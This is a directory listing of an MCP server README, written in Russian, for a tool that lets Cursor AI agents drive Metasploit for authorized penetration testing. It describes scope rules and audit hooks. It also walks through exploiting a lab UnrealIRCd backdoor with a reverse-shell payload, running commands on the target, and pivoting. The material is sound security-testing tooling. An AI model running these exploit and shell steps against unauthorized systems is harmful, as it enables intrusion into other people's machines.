msf-harness
Metasploit Cursor Harness
Агентный инструментарий для пентеста, который связывает ИИ-агентов Cursor с Metasploit Framework через MCP (Model Context Protocol). Обеспечивает структурированный доступ с ограничением области к Metasploit RPC через 54 специализированных инструмента, охватывающих разведку, эксплуатацию, управление сессиями, пост-эксплуатацию, пивотинг, генерацию полезных нагрузок и операции с базой данных.
Создан для авторизованных лабораторных и профессиональных пентест-процессов с явными правилами взаимодействия, серверным применением политик, журналированием аудита и методологией фаз/шлюзов, согласованной с PTES.
Почему этот инструментарий
Возможность | Этот инструментарий | Official msfmcpd | GH05TCREW/MetasploitMCP |
Количество инструментов | 54 | ~23 | ~15 |
Серверные правила взаимодействия (CIDR, модуль, сессия) | Да | Нет | Нет |
Хуки Cursor (шлюзы области, оценка риска, доказательства) | 18 скриптов | Нет | Нет |
Фазы/шлюзы рабочего процесса PTES | 7 фаз, 57 навыков | Нет | Нет |
Выполнение эксплойта через консоль | Да | Нет | Да |
asyncio.to_thread (non-blocking) | Да | Да | Нет |
Авторизация домена | Да (закрытие при сбое) | Нет | Нет |
Автоматическое определение LHOST | Да (кроссплатформенно) | Нет | Нет |
Проверка перед эксплойтом (шлюз) | Обязательно | Нет | Нет |
Журналирование аудита + состояние мира | Да | Нет | Нет |
Автономные навыки пентеста | 57 навыков по 5 уровням | Нет | Нет |
Related MCP server: MSFConsole MCP Server
Возможности
54 инструмента MCP, охватывающих разведку, эксплуатацию, сессии, операции Meterpreter, пивотинг, полезные нагрузки, обработчики, рабочие области, консоль, запись в базу данных и лабораторные помощники
Эксплойты с приоритетом консоли с синхронным захватом вывода, обнаружением сессий и разбором ошибок
Серверное применение правил взаимодействия: область CIDR, авторизация домена, ограничения ширины CIDR, лимиты сессий, блокировка DoS, шлюз проверки перед эксплойтом
18 скриптов хуков Cursor: проверка области, оценка риска (0-100), обнаружение дубликатов, журналирование доказательств, отслеживание состояния мира, редактирование учётных данных
57 автономных навыков агента: рабочий процесс PTES, специализированные плейбуки (веб, AD, облако, контейнеры, мобильные, бинарные, обход, уровень служб, класс уязвимостей)
5 специализированных субагентов: оркестратор, разведка, эксплойт, пост-эксплуатация, рецензент
Поддержка платформ
Платформа | Статус | Примечания |
Windows + WSL2 + Kali | Основная | Полный конвейер хуков, поддержка лабораторного Docker |
Нативный Linux / Kali | Поддерживается | Требуется |
macOS + удалённый MSF | Экспериментальная | Сервер MCP работает; для хуков нужен |
Предварительные требования
Python 3.10+
Metasploit Framework (в WSL/Kali или нативном Linux)
IDE Cursor с поддержкой MCP
PowerShell Core (
pwsh) для конвейера хуковАвторизованные цели, определённые в
scope/scope-master.txt
Быстрый старт
1. Клонирование и установка
git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"2. Настройка учётных данных
cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)3. Запуск Metasploit RPC
Windows (WSL):
.\scripts\start-msfrpcd.ps1Linux / Kali (native):
./scripts/start-msfrpcd.sh4. Включение MCP в Cursor
cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project pathВключите msf-harness в настройках Cursor > MCP.
5. Проверка установки
python scripts/doctor.py # Check all prerequisites
python scripts/validate-mcp.py # Test RPC connectivityЗатем в чате Cursor выполните msf_status, чтобы подтвердить подключение MCP.
6. Лабораторные цели (необязательно)
См. docs/LAB.md для встроенной лаборатории Docker Metasploitable2.
Для HackTheBox, TryHackMe, OSCP или собственных целей см. docs/BYO-TARGETS.md.
Подробные инструкции по установке см. в docs/SETUP.md.
Или запустите однокомандную начальную настройку:
.\scripts\bootstrap.ps1Ваш первый эксплойт
После завершения настройки и работы msf_status в чате Cursor попробуйте эту сквозную демонстрацию на лаборатории Docker:
1. Запустите лабораторные цели:
.\scripts\start-lab-targets.ps12. В чате Cursor попросите агента эксплуатировать лабораторию:
Просканируйте лабораторную цель на 10.255.255.254 порт 9667 и эксплуатируйте бэкдор UnrealIRCd, используя engagement lab-default
Агент выполнит:
Запустит
msf_module_checkдля проверки уязвимости цели (требуется правилами взаимодействия)Вызовет
msf_get_lab_networkдля автоматического определения LHOSTЗапустит
msf_run_exploitсexploit/unix/irc/unreal_ircd_3281_backdoorВызовет
msf_list_active_sessionsдля подтверждения оболочкиИспользует
msf_send_session_commandдля выполнения команд на цели
Или сделайте это пошагово с помощью отдельных вызовов инструментов MCP:
msf_status # Verify RPC connection
msf_get_lab_network # Get LHOST and port map
msf_module_check(...) # Probe for vulnerability
msf_run_exploit(...) # Pop a shell
msf_send_session_command(command="id") # Run commands on targetСм. docs/LAB.md для полной карты портов и примечаний по конкретным эксплойтам.
Архитектура
Cursor Agent
|-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
|-- Skills (.cursor/skills/: 57 pentest playbooks)
|-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
|-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
|
v
msf-harness MCP Server (Python, FastMCP, stdio transport)
|-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
|-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
|-- Policy/ROE (server-side CIDR, domain, module, session validation)
|-- Console engine (synchronous module execution with output capture)
|
v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
|
v
msfdb (PostgreSQL)Инструменты MCP (всего 54)
Только чтение (engagement_id не требуется)
Инструмент | Назначение |
| Проверка подключения к RPC, версии, количества сессий |
| Поиск модулей по ключевому слову, CVE или имени |
| Параметры модуля, цели, ссылки, ранг |
| Получить настраиваемые параметры для модуля |
| Получить статистику по текущим запущенным модулям |
| Список модулей по типу с необязательным фильтром |
| Запрос обнаруженных хостов из msfdb |
| Запрос обнаруженных служб (порты, протоколы) |
| Запрос записей об уязвимостях |
| Запрос аннотаций/заметок |
| Запрос собранных учётных данных |
| Запрос собранных трофеев/файлов |
| Список текущих сессий с типом и целью |
| Получить подробную информацию об одной сессии |
| Список активных обработчиков/фоновых заданий |
| Получить сведения о конкретном задании |
| Поиск доступных полезных нагрузок по имени/платформе/архитектуре |
| Список полезных нагрузок, совместимых с данным модулем |
| Список рабочих областей базы данных |
| Проверка подключения к базе данных и информации о драйвере |
| Список активных экземпляров консоли RPC |
| Получить конфигурацию лабораторной цели (порты Docker, LHOST) |
| Список активных маршрутов для пивотинга сессий |
Действия (требуется engagement_id)
Инструмент | Назначение |
| Безопасная проверка уязвимости (не эксплуатирующая) |
| Запрос результатов асинхронного задания модуля по UUID |
| Выполнить модуль эксплойта (консольный режим или режим задания RPC, настраиваемый тайм-аут) |
| Запустить вспомогательный модуль (сканер, фаззер; необязательный консольный режим) |
| Запустить модуль пост-эксплуатации на сессии (необязательный консольный режим) |
| Выполнить команду в активной оболочке/meterpreter |
| Завершить сессию |
| Ожидание новых сессий после эксплойта/обработчика |
| Обновить оболочку до Meterpreter |
| Получить ОС/архитектуру/имя хоста из сессии Meterpreter |
| Получить идентификатор текущего пользователя из сессии Meterpreter |
| Список запущенных процессов в сессии Meterpreter |
| Скачать файл с цели в evidence/ |
| Загрузить файл из evidence/ на цель (в песочнице) |
| Запустить скрипт Meterpreter в сессии |
| Запустить слушатель multi/handler |
| Остановить фоновое задание |
| Остановить все фоновые задания для освобождения портов |
| Сгенерировать файл полезной нагрузки (сохраняется в evidence/) |
| Создать рабочую область базы данных |
| Переключить активную рабочую область |
| Удалить рабочую область базы данных |
| Импортировать данные сканирования (nmap XML, Nessus и т. д.) |
| Запустить nmap и автоматически импортировать результаты |
| Выполнить произвольную команду msfconsole через RPC |
| Добавить маршрут через сессию для пивотинга |
| Удалить маршрут |
| Автоматически добавлять маршруты через post/multi/manage/autoroute |
| Вручную сообщить о хосте в базу данных |
| Сохранить обнаруженные учётные данные в базе данных |
| Добавить заметку/аннотацию в базу данных |
Пример рабочего процесса
# 1. Verify connection
msf_status()
# 2. Scan target ports
msf_run_auxiliary_module(
engagement_id="lab-default",
module_name="auxiliary/scanner/portscan/tcp",
options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)
# 3. Check what's open
msf_service_info(host="10.255.255.254")
# 4. Check before exploit (required by ROE)
msf_module_check(
engagement_id="lab-default",
module_type="exploit",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)
# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
engagement_id="lab-default",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
payload="generic/shell_reverse_tcp",
payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
run_check_first=True
)Модель безопасности
Серверная ROE (
msf_harness/mcp/policy/roe.py): проверяет цели на соответствие CIDR-диапазонам engagement, блокирует запрещённые модули, применяет лимиты сессий, ограничивает ширину сканирования CIDR, требует проверку перед эксплуатацией, проверяет домены (fail-closed)Хуки Cursor (
.cursor/hooks/): проверки области действия для каждой команды оболочки и вызова MCP, оценка риска (0-100 с эскалацией CRITICAL), обнаружение дубликатов, аудит-логирование вlogs/command-ledger.jsonl, автосохранение доказательств, редактирование учётных данныхРазбор консольных команд:
msf_console_executeизвлекает и проверяет RHOSTS, пути модулей и цели db_nmap из необработанных командОграничения путей к файлам:
msf_db_importиmsf_generate_payloadограничены каталогамиevidence/иengagements/DoS-модули (
auxiliary/dos/*) блокируются безусловноОчистка ввода: аргументы nmap в белом списке, ключи опций проверяются, значения консоли экранируются кавычками
Используйте только на системах, которые вам разрешено тестировать.
Устранение неполадок
Симптом | Исправление |
| Запустите |
Сервер MCP не появляется в Cursor | Убедитесь, что |
"MSF_PASSWORD is not set" | Установите его в |
"Target not in scope" или отказ ROE | Добавьте IP/CIDR цели в |
Проверка модуля завершается ошибкой "not supported" | У некоторых модулей нет метода |
Нет сессии после эксплуатации | Проверьте правильность LHOST ( |
Ошибки хуков в выводе Cursor | Убедитесь, что установлен |
Ошибки импорта Python | Выполните |
Запустите python scripts/doctor.py для полной проверки готовности предварительных требований.
Разработка
pip install -e ".[mcp,dev]"
python -m pytest tests/ -v # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1 # 120 hook tests
python scripts/validate-mcp.py # RPC connectivityСм. CONTRIBUTING.md для настройки разработки и рекомендаций по PR.
Структура каталогов
Путь | Назначение |
| Пакет Python MCP-сервера |
| Реализации MCP-инструментов (12 модулей, 54 инструмента) |
| Клиент Metasploit RPC с автоматическим переподключением |
| Применение ROE (CIDR, домен, модуль, сессия, exploit-gate) |
| Авторизованные CIDR-диапазоны и домены целей |
| Конфигурации ROE и состояние рабочего процесса для каждого engagement |
| Собранные доказательства (gitignored) |
| Журналы аудита хуков и реестр команд (gitignored) |
| Безопасные шлюзы PowerShell Core (18 скриптов) |
| Плейбуки рабочих процессов агентов (57 навыков) |
| Пользовательские определения субагентов (5 агентов) |
| Постоянные руководства для агентов (3 правила + AGENTS.md) |
| Служебные скрипты (запуск RPC, создание engagement, проверка здоровья, проверка MCP) |
| Наборы тестов Pytest + хуков |
| Руководство по настройке, руководство по лаборатории, руководство по собственным целям |
Лицензия
Благодарности
Фреймворк Rapid7 Metasploit Framework и официальный
msfmcpdGH05TCREW/MetasploitMCP за шаблоны выполнения консольных команд
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.14Apache 2.0
- AlicenseNot gradedqualityDmaintenanceEnables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.8MIT
- -licenseNot gradedqualityNot gradedmaintenanceEnables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.2
- AlicenseBqualityDmaintenanceEnables interaction with Metasploit Framework for authorized security testing, including exploit searches, payload management, network scanning with nmap, and database operations for penetration testing workflows.9MIT
Related MCP Connectors
MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.
Free public MCP for AI agents — 193 tools, 44 workflows. No API key.
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'
If you have feedback or need assistance with the MCP directory API, please join our Discord server